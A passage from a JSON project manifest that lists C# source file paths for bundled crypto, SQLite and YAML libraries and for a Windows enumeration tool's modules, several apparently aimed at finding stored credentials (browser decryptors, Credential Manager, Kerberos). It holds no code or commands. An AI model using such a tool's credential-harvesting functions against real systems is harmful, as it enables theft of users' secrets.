\BouncyCastle\\asn1\\DerNull.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerNumericString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerObjectIdentifier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOctetString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOctetStringParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerOutputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerPrintableString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSequence.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSequenceParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerStringBase.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerT61String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerTaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUniversalString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUtcTime.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUtf8String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerVideotexString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerVisibleString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\gm\\GMObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1ApplicationSpecificParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1Choice.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1Convertible.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IndefiniteLengthInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\LimitedInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\misc\\MiscObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\nist\\NistObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\OidTokenizer.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\pkcs\\PkcsObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\rosstandart\\RosstandartObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\teletrust\\TeleTrusTObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\ua\\UAObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\util\\FilterStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\CryptoException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\Check.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Blake2bDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Blake2sDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\CSHAKEDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\DSTU7564Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GeneralDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012_256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012_512Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\KeccakDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\LongDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD2Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD4Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD5Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\NonMemoableDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\NullDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD128Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD160Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD320Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha1Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha224Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha384Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SHA3Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha512Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha512tDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\ShakeDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\ShortenedDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SkeinDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SkeinEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SM3Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\TigerDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\WhirlpoolDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\XofUtils.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\AesEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\Gost28147Engine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\ThreefishEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\IBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\InvalidCipherTextException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\IXof.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\GcmBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\GcmUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\BasicGcmExponentiator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\IGcmExponentiator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\IGcmMultiplier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\Tables4kGcmMultiplier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\IAeadBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\IAeadCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\OutputLengthException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\AeadParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\KeyParameter.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\ParametersWithIV.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\ParametersWithSBox.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\SkeinParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\TweakableBlockCipherParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\CryptoApiRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\DigestRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\IRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Arrays.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Longs.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Pack.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Platform.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Times.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\DataLengthException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\ICipherParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\IDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\BigInteger.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\raw\\Bits.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\raw\\Interleave.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\oiw\\OiwObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\DigestUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\SecureRandom.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\SecurityUtilityException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\CollectionUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\ISet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableDictionary.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableDictionaryProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableList.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableListProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableSetProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\date\\DateTimeUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\Hex.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\HexEncoder.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\IEncoder.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\Enums.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\IMemoable.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\BaseInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\StreamOverflowException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\Streams.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\MemoableResetException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\Strings.cs"},{"SourceFile":"3rdParty\\SQLite\\SQLiteDatabase.cs"},{"SourceFile":"3rdParty\\SQLite\\SQLiteVdbe.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\alter_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\analyze_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\attach_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\auth_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\backup_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\bitvec_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\btmutex_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\BtreeInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\btree_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Btree_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\build_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\callback_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\complete_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\date_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Delagates.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\delete_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\expr_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\fault_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\func_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\global_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\hash_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Hash_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\hwtime_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\insert_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\journal_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\keywordhash_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\legacy_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\loadext_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\main_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\malloc_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mem0_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mem1_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\memjournal_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_noop_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_w32.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\notify_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\opcodes_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\opcodes_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_common_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_win_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pager_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pager_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\parse_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\parse_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache1_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pragma_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\prepare_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\printf_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\random_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\resolve_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\rowset_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\select_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqlite3ext_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqlite3_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteicu_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteLimit_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\status_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\table_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\tokenize_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\trigger_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\update_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\utf_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\util_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vacuum_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeapi_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeaux_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeblob_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\VdbeInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbemem_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbe_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Vdbe_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vtab_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\walker_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\where_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\_Custom.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\EasyTypeConverter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\ObjectExtensions.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\ObjectMemberAccessor.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\Parser.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\RehashableDictionary.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\TypeUtils.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\UriEncoding.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlAnchorDictionary.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlConstructor.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlDoubleQuoteEscaping.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlNode.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlParser.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlPresenter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlRepresenter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlSerializer.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagPrefixes.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagResolutionScheme.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagValidator.cs"},{"SourceFile":"Checks\\ApplicationsInfo.cs"},{"SourceFile":"Checks\\BrowserInfo.cs"},{"SourceFile":"Checks\\CloudInfo.cs"},{"SourceFile":"Checks\\FileAnalysis.cs"},{"SourceFile":"Checks\\FilesInfo.cs"},{"SourceFile":"Checks\\Globals.cs"},{"SourceFile":"Checks\\ISystemCheck.cs"},{"SourceFile":"Checks\\EventsInfo.cs"},{"SourceFile":"Checks\\NetworkInfo.cs"},{"SourceFile":"Checks\\ProcessInfo.cs"},{"SourceFile":"Checks\\ServicesInfo.cs"},{"SourceFile":"Checks\\SystemInfo.cs"},{"SourceFile":"Checks\\UserInfo.cs"},{"SourceFile":"Checks\\WindowsCreds.cs"},{"SourceFile":"Helpers\\AppLocker\\AppLockerHelper.cs"},{"SourceFile":"Helpers\\AppLocker\\AppLockerRules.cs"},{"SourceFile":"Helpers\\AppLocker\\IAppIdPolicyHandler.cs"},{"SourceFile":"Helpers\\AppLocker\\SharpAppLocker.cs"},{"SourceFile":"Helpers\\HandlesHelper.cs"},{"SourceFile":"Helpers\\ProgressBar.cs"},{"SourceFile":"Helpers\\CredentialManager\\Credential.cs"},{"SourceFile":"Helpers\\CredentialManager\\CredentialManager.cs"},{"SourceFile":"Helpers\\CredentialManager\\CredentialType.cs"},{"SourceFile":"Helpers\\CredentialManager\\NativeMethods.cs"},{"SourceFile":"Helpers\\CredentialManager\\PersistenceType.cs"},{"SourceFile":"Helpers\\CredentialManager\\SecureStringHelper.cs"},{"SourceFile":"Helpers\\CustomFileInfo.cs"},{"SourceFile":"Helpers\\Extensions\\EnumExtensions.cs"},{"SourceFile":"Helpers\\MemoryHelper.cs"},{"SourceFile":"Helpers\\PermissionsHelper.cs"},{"SourceFile":"Helpers\\Search\\LOLBAS.cs"},{"SourceFile":"Helpers\\Search\\Patterns.cs"},{"SourceFile":"Helpers\\YamlConfig\\YamlConfig.cs"},{"SourceFile":"Helpers\\YamlConfig\\YamlConfigHelper.cs"},{"SourceFile":"Info\\ApplicationInfo\\ApplicationInfoHelper.cs"},{"SourceFile":"Info\\ApplicationInfo\\AutoRuns.cs"},{"SourceFile":"Info\\ApplicationInfo\\DeviceDrivers.cs"},{"SourceFile":"Info\\ApplicationInfo\\InstalledApps.cs"},{"SourceFile":"Helpers\\Beaprint.cs"},{"SourceFile":"Info\\CloudInfo\\AWSInfo.cs"},{"SourceFile":"Info\\CloudInfo\\AzureInfo.cs"},{"SourceFile":"Info\\CloudInfo\\EndpointData.cs"},{"SourceFile":"Info\\CloudInfo\\GWorkspaceInfo.cs"},{"SourceFile":"Info\\CloudInfo\\GCPInfo.cs"},{"SourceFile":"Info\\CloudInfo\\CloudInfoBase.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\ExplicitLogonEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\Logon.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\LogonEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\LogonInfo.cs"},{"SourceFile":"Info\\EventsInfo\\PowerShell\\PowerShell.cs"},{"SourceFile":"Info\\EventsInfo\\PowerShell\\PowerShellEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Common.cs"},{"SourceFile":"Info\\EventsInfo\\Power\\Power.cs"},{"SourceFile":"Info\\EventsInfo\\Power\\PoweredEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\ProcessCreation\\ProcessCreation.cs"},{"SourceFile":"Info\\EventsInfo\\ProcessCreation\\ProcessCreationEventInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Certificates\\CertificateInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Certificates\\Certificates.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfee.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfeeSiteInfo.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfeeSitelistInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\Office.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OfficeRecentFileInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OneDrive\\CloudSyncProviderInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OneDrive\\OneDriveSyncProviderInfo.cs"},{"SourceFile":"Info\\FilesInfo\\WSL\\WSLHelper.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\IPVersion.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\MibTcpState.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\Protocol.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\TcpTableClass.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\UdpTableClass.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettings.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettingsInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettingsKey.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkConnection.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetPinger.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetworkUtils.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetworkScanner.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\PortScanner.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCP6ROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCP6TABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCPROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCPTABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDP6ROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDP6TABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDPROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDPTABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\TcpConnectionInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\UdpConnectionInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\Win32Error.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditEntryInfo.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditPolicies.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditPolicyGPOInfo.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditType.cs"},{"SourceFile":"Info\\SystemInfo\\CredentialGuard.cs"},{"SourceFile":"Info\\SystemInfo\\DotNet\\DotNet.cs"},{"SourceFile":"Info\\SystemInfo\\DotNet\\DotNetInfo.cs"},{"SourceFile":"Info\\SystemInfo\\GroupPolicy\\GroupPolicy.cs"},{"SourceFile":"Info\\SystemInfo\\GroupPolicy\\LocalGroupPolicyInfo.cs"},{"SourceFile":"Info\\SystemInfo\\NamedPipes\\NamedPipeInfo.cs"},{"SourceFile":"Info\\SystemInfo\\NamedPipes\\NamedPipes.cs"},{"SourceFile":"Info\\SystemInfo\\Ntlm\\Ntlm.cs"},{"SourceFile":"Info\\SystemInfo\\Ntlm\\NtlmSettingsInfo.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PluginAccessInfo.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PowerShell.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PowerShellSessionSettingsInfo.cs"},{"SourceFile":"Info\\SystemInfo\\Printers\\PrinterInfo.cs"},{"SourceFile":"Info\\SystemInfo\\Printers\\Printers.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysMon.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonEventInfo.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonHashAlgorithm.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonInfo.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonOptions.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\AsrRule.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\AsrSettings.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefender.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefenderSettings.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefenderSettingsInfo.cs"},{"SourceFile":"Info\\UserInfo\\LogonSessions\\LogonSessions.cs"},{"SourceFile":"Info\\UserInfo\\LogonSessions\\LogonSessionsInfo.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\JoinType.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\Tenant.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\TenantInfo.cs"},{"SourceFile":"Info\\WindowsCreds\\AppCmd\\AppCmd.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPClientSettings.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPServerSettings.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPSettingsInfo.cs"},{"SourceFile":"Info\\WindowsCreds\\RemoteDesktop.cs"},{"SourceFile":"InterestingFiles\\GPP.cs"},{"SourceFile":"InterestingFiles\\InterestingFiles.cs"},{"SourceFile":"InterestingFiles\\Unattended.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Brave\\Brave.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Browser.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\BrowserBase.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Chrome\\Chrome.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\ChromiumBase.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Models\\Login.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Decryptor\\GCDecryptor.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Decryptor\\LocalState.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\FFDecryptor.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\FFLogins.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\Firefox.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\LoginData.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\IBrowser.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\InternetExplorer.cs"},{"SourceFile":"Checks\\Checks.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Models\\CredentialModel.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Opera\\Opera.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Enums.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Helpers.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Kerberos.cs"},{"SourceFile":"Known